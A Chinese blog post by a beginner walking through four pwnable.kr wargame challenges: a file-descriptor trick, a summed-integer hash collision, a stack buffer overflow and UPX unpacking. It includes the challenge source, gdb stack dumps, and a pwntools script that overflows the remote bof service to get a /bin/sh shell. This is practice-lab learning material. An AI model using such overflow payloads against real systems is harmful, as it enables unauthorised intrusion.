n1cef1sh's Blog

0x0 写在前面

一直觉得pwn是个很神奇和神秘的东西,但只是道听途说。最近看了几个教程,表哥也分享了很多学习文章和题目。关于使用的工具和环境配置不多废话,就记录几个简单的题目。因为这几个题目在做的时候都有参考其他人的题解,所以在记录的过程中自己重新做一遍,算是对pwn知识的初探。

0x1 fd

Mommy! what is a file descriptor in Linux?

* try to play the wargame your self but if you are ABSOLUTE beginner, follow this tutorial link:
https://youtu.be/971eZhMHQQw

ssh fd@pwnable.kr -p2222 (pw:guest)

这是 pwnable.kr站点上最简单的第一个题目,题目提示关于linux文件描述符,并且还给了个题解的视频,可以说是对新手非常友好了。
那么首先连接这个端口,输入密码guest

nicefish@nicefish:~/pwn$ ssh fd@pwnable.kr -p2222
fd@pwnable.kr's password: 
 ____  __    __  ____    ____  ____   _        ___      __  _  ____  
|    \|  |__|  ||    \  /    ||    \ | |      /  _]    |  |/ ]|    \ 
|  o  )  |  |  ||  _  ||  o  ||  o  )| |     /  [_     |  ' / |  D  )
|   _/|  |  |  ||  |  ||     ||     || |___ |    _]    |    \ |    / 
|  |  |  `  '  ||  |  ||  _  ||  O  ||     ||   [_  __ |     \|    \ 
|  |   \      / |  |  ||  |  ||     ||     ||     ||  ||  .  ||  .  \
|__|    \_/\_/  |__|__||__|__||_____||_____||_____||__||__|\_||__|\_|
                                                                     
- Site admin : daehee87.kr@gmail.com
- IRC : irc.netgarage.org:6667 / #pwnable.kr
- Simply type "irssi" command to join IRC now
- files under /tmp can be erased anytime. make your directory under /tmp
- to use peda, issue `source /usr/share/peda/peda.py` in gdb terminal
Last login: Sun Apr  1 00:24:01 2018 from 59.64.129.236

查看文件目录,直接cat flag肯定提示没有权限,所以看一下源代码。

fd@ubuntu:~$ ls
fd  fd.c  flag
fd@ubuntu:~$ cat fd.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
	if(argc<2){
		printf("pass argv[1] a number\n");
		return 0;
	}
	int fd = atoi( argv[1] ) - 0x1234;
	int len = 0;
	len = read(fd, buf, 32);
	if(!strcmp("LETMEWIN\n", buf)){
		printf("good job :)\n");
		system("/bin/cat flag");
		exit(0);
	}
	printf("learn about Linux file IO\n");
	return 0;

}

如果我们想要获得flag,就让buf缓冲区的值和“LETMEWIN”相同,buf缓冲区的内容是用read函数读入的。关键点就是read函数。
它的原型是

ssize_t read[1] (int fd, void *buf, size_t count);
//fd 是文件指针
//buf 保存读上来的数据,同时文件的当前读写位置向后移
//count是请求读取的字节数,若为0,read则没有作用,并返回0。否则返回值为实际度的字节数。
// read函数就是从文件或者设备中读取数据

这里的fd 是通过argv命令行参数减去0x1234得到的,那么buf缓冲区的内容去哪里才能读出“LETMEWIN”呢……并没有什么文件。
这时候想起来提示的linux文件描述符,通过查询我们得知:

文件描述符 缩写 描述
0 STDIN 标准输入
1 STDOUT 标准输出
2 STDERR 标准错误输出

那这样就有思路了,也就是把fd指针想办法变成0,那么read就会从键盘输入中获取buf缓冲区的内容。
那么就让命令行参数等于0x1234即可,十进制也就是4660。

fd@ubuntu:~$ ./fd 4660
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!

flag:mommy! I think I know what a file descriptor is!!

0x2 collision

Daddy told me about cool MD5 hash collision today.
I wanna do something like that too!

ssh col@pwnable.kr -p2222 (pw:guest)

同样的方式先连接服务器看看源代码

#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
	int* ip = (int*)p;
	int i;
	int res=0;
	for(i=0; i<5; i++){
		res += ip[i];
	}
	return res;
}

int main(int argc, char* argv[]){
	if(argc<2){
		printf("usage : %s [passcode]\n", argv[0]);
		return 0;
	}
	if(strlen(argv[1]) != 20){
		printf("passcode length should be 20 bytes\n");
		return 0;
	}

	if(hashcode == check_password( argv[1] )){
		system("/bin/cat flag");
		return 0;
	}
	else
		printf("wrong passcode.\n");
	return 0;
}

首先输入的命令行参数需要是20个字节,经过check_password函数处理后要和hashcode相等。而check _hashcode函数的作用是把char指针强制转换成int指针,而char类型是占1个字节,int是占4个。那么20个字节就被分成了五组。下面的for循环也正对应了这个推测,把五组数据加起来得到返回值。
分析后思路就很明了,把hashcode拆成五个部分的和,把这五个部分连起来输入即可。

>>> hex*(0x21DD09EC/5.0)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: unsupported operand type(s) for *: 'builtin_function_or_method' and 'float'

尝试发现无法被5整除,那就随便减去一个数的4倍,就可以保证都是整数了。还要注意两点,一个是不能出现\x00因为这是终止符,还有一个就是小端序的问题。

>>> print hex(0x21DD09EC-0x01010101*4)
0x1dd905e8

这里学到一个写法是

python -c "..."  //python以命令方式执行

构造出来的是这样。($是把后面的部分作为命令行参数)

col@ubuntu:~$ ./col $(python -c "print '\xe8\x05\xd9\x1d' + '\x01\x01\x01\x01'*4")
daddy! I just managed to create a hash collision :)

也可以按常规的写脚本,因为这里只需要传个参数,直接在命令行理解决即可。

col@ubuntu:~$ python
Python 2.7.12 (default, Jul  1 2016, 15:12:24) 
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> s = '\xe8\x05\xd9\x1d\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01'
>>> e = process(['./col',s])
[x] Starting local process './col'
[+] Starting local process './col': Done
>>> e.recvline()
[*] Process './col' stopped with exit code 0
'daddy! I just managed to create a hash collision :)\n'

0x3 bof

Nana told me that buffer overflow is one of the most common software vulnerability. 
Is that true?

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000

bof.c:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

这是一道缓冲区溢出的题目,因为gets输入的时候没有检查字符串长度,超过32字节的数据将覆盖内存中的其他数据。随后比较key和0xcafebabe,相等的话即可获得shell

这里补充一个知识点,关于==栈溢出攻击的几种方法==:

这里的system(“/bin/sh”)就是属于第二种方法。

在内存中确定某个函数的地址,并用其覆盖掉返回地址。由于 libc 动态链接库中的函数被广泛使用,所以有很大概率可以在内存中找到该动态库。同时由于该库包含了一些系统级的函数(例如 system() 等),所以通常使用这些系统级函数来获得当前进程的控制权。鉴于要执行的函数可能需要参数,比如调用 system() 函数打开 shell 的完整形式为 system(“/bin/sh”) ,所以溢出数据也要包括必要的参数。下面就以执行 system(“/bin/sh”) 为例,先写出溢出数据的组成,再确定对应的各部分填充进去。
payload: padding1 + address of system() + padding2 + address of “/bin/sh”

接下来通过gdb调试,来确定overflowme 和key在内存的位置。 先查看是否有保护机制,都没有开。

gdb-peda$ checksec 
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

运行后在主函数入口停下,然后单步next向下,然后到call func位置s步入,同时也发现key的初始值存到了寄存器esp里

=> 0x56555693 <main+9>:	mov    DWORD PTR [esp],0xdeadbeef

=> 0x5655569a <main+16>:	call   0x5655562c <func>

继续n向下,一直到gets函数

   0x5655564f <func+35>:	call   0xf7e65890 <gets>

此时查看栈里的情况

gdb-peda$ x/40xw $esp
0xffffcff0:	0xffffd00c	0xffffd094	0xf7fb7000	0x0000c287
0xffffd000:	0xffffffff	0x0000002f	0xf7e13dc8	0x5655573a
0xffffd010:	0x56556ff4	0xf7fb7000	0x00000001	0x5655549d
0xffffd020:	0x00000001	0x00000000	0x56556ff4	0xc686a100
0xffffd030:	0xf7fb7000	0xf7fb7000	0xffffd058	0x5655569f
0xffffd040:	0xdeadbeef	0x56555250	0x565556b9	0x00000000
0xffffd050:	0xf7fb7000	0xf7fb7000	0x00000000	0xf7e1f637
0xffffd060:	0x00000001	0xffffd0f4	0xffffd0fc	0x00000000
0xffffd070:	0x00000000	0x00000000	0xf7fb7000	0xf7ffdc04
0xffffd080:	0xf7ffd000	0x00000000	0xf7fb7000	0xf7fb7000

这时候esp存的就是overflow开始的位置,即0xffffd00c 而观察下面0xffffd040: 0xdeadbeef key的初始位置也发现了,是0xffffd040,把二者相减求出差值,也就是需要多少字节才能覆盖到key的地址。
0xffffd040-0xffffd00c = 52,那么也就是向overflow里面输入52个字节的字符,之后再加上4字节的0xcafebabe,就可以覆盖key。
写出解题脚本,学习到一个处理小端序时候方便的写法,用pwn库里的p32或者p64函数,直接对整数进行打包。

fro pwn import *
#r = process("./bof")
r = remote('pwnable.kr', 9000)

key = 0xcafebabe
#print p32(key)

payload = "A"*52 + "\xbe\xba\xfe\xca"+"A"
#payload = "A" * 52  + p32(key)

r.send(payload)
r.interactive()

成功获得shell

$ 
$ ls
bof
bof.c
flag
log
log2
super.pl
$ cat flag
daddy, I just pwned a buFFer :)
$  

0x4 flag

Papa brought me a packed present! let's open it.

Download : http://pwnable.kr/bin/flag

This is reversing task. all you need is binary

是个关于脱壳的题目。因为不是PE文件,常用的查壳工具没法查。放到IDA里,在HEX窗口里看到有UPX的字符,猜测是UPX壳。
其实还可以在linux下直接查看文件里的字符串。在最后也有UPX。
后来看了别人的WP才知道==检测upx打包的方法是查询UPX!或者UPX0的存在==,用strings一看,果然最后两行是UPX!

UPX!
UPX!

那么就下载upx脱壳工具,直接脱壳

nicefish@nicefish:~/pwn/upx-3.94-amd64_linux$ ./upx -d ./flag
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2017
UPX 3.94        Markus Oberhumer, Laszlo Molnar & John Reiser   May 12th 2017

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
    883745 <-    335288   37.94%   linux/amd64   flag

Unpacked 1 file.

脱壳后直接用gdb调试,很快就能看到flag

在别人的wp里看到的简单方法,直接用string查看字符(grep 的-i参数 是不区分大小写),这也算个猜测的做法吧……

nicefish@nicefish:~/pwn/upx-3.94-amd64_linux$ strings ./flag | grep -i upx
UPX...? sounds like a delivery service :)

0x5

参考文章: https://blog.csdn.net/SmalOSnail/article/details/53190961
https://zhuanlan.zhihu.com/p/25816426?utm_medium=social

0x6

因为题目比较简单,涉及的知识点也很少,所以相对做起来不是那么困难。暂时有另外几个题目还没有搞懂,水太深了……不过结合着题目学习知识点的模式还是比较适合自己,实在搞不懂还可以看看大佬的wp,体会一下“恍然大悟”的感觉……
今天听了TOKIO的歌,少主的声音真是太好听了,禁不住加个链接……